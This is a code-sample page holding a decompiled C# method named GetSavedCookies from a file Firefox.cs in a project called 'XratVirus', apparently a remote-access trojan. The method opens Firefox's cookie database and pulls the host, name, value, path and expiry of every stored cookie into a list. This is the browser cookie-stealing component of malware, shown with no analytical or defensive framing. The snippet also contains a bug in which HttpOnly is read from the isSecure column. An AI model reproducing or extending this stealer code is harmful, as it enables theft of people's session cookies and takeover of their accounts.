コード例 #1
0
ファイル: Firefox.cs プロジェクト: StartZYP/XratVirus
        // Token: 0x0600045A RID: 1114 RVA: 0x00010210 File Offset: 0x0000E410
        public static List <FirefoxCookie> GetSavedCookies()
        {
            List <FirefoxCookie> list   = new List <FirefoxCookie>();
            GClass33             gclass = new GClass33(Firefox.firefoxCookieFile.FullName);

            if (!gclass.method_9("moz_cookies"))
            {
                throw new Exception("Could not read cookie table");
            }
            int num = gclass.method_2();

            for (int i = 0; i < num; i++)
            {
                try
                {
                    string   host       = gclass.method_5(i, "host");
                    string   name       = gclass.method_5(i, "name");
                    string   value      = gclass.method_5(i, "value");
                    string   path       = gclass.method_5(i, "path");
                    bool     secure     = !(gclass.method_5(i, "isSecure") == "0");
                    bool     httpOnly   = !(gclass.method_5(i, "isSecure") == "0");
                    long     num2       = long.Parse(gclass.method_5(i, "expiry"));
                    long     num3       = Firefox.ToUnixTime(DateTime.Now);
                    DateTime expiresUTC = Firefox.FromUnixTime(num2);
                    bool     expired    = num3 > num2;
                    list.Add(new FirefoxCookie
                    {
                        Host       = host,
                        ExpiresUTC = expiresUTC,
                        Expired    = expired,
                        Name       = name,
                        Value      = value,
                        Path       = path,
                        Secure     = secure,
                        HttpOnly   = httpOnly
                    });
                }
                catch (Exception)
                {
                    return(list);
                }
            }
            return(list);
        }